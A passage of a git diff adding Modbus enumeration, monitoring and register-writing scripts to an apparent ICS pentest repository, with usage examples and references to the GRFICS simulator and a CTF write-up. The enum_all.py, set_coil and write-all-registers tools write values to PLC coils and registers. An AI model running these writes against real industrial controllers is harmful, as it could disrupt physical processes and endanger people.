+331;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +332;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +333;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +334;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +335;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +336;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +337;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +338;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +339;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +340;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +341;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +342;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +343;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +344;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +345;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +346;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +347;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +348;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +349;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +350;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +351;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +352;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +353;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +354;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +355;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +356;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +357;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +358;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +359;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +360;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +361;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +362;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +363;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +364;VAR;CONFIG0.RES0.INSTANCE0.MOVE99_ENO;CONFIG0.RES0.INSTANCE0.MOVE99_ENO;BOOL; +365;VAR;CONFIG0.RES0.INSTANCE0.MOVE99_OUT;CONFIG0.RES0.INSTANCE0.MOVE99_OUT;UINT; +366;VAR;CONFIG0.RES0.INSTANCE0.MOVE4_ENO;CONFIG0.RES0.INSTANCE0.MOVE4_ENO;BOOL; +367;VAR;CONFIG0.RES0.INSTANCE0.MOVE4_OUT;CONFIG0.RES0.INSTANCE0.MOVE4_OUT;UINT; +368;VAR;CONFIG0.RES0.INSTANCE0.MOVE5_ENO;CONFIG0.RES0.INSTANCE0.MOVE5_ENO;BOOL; +369;VAR;CONFIG0.RES0.INSTANCE0.MOVE5_OUT;CONFIG0.RES0.INSTANCE0.MOVE5_OUT;UINT; +370;VAR;CONFIG0.RES0.INSTANCE0.MOVE7_ENO;CONFIG0.RES0.INSTANCE0.MOVE7_ENO;BOOL; +371;VAR;CONFIG0.RES0.INSTANCE0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.MOVE7_OUT;UINT; + + +// Ticktime +50000000 diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, 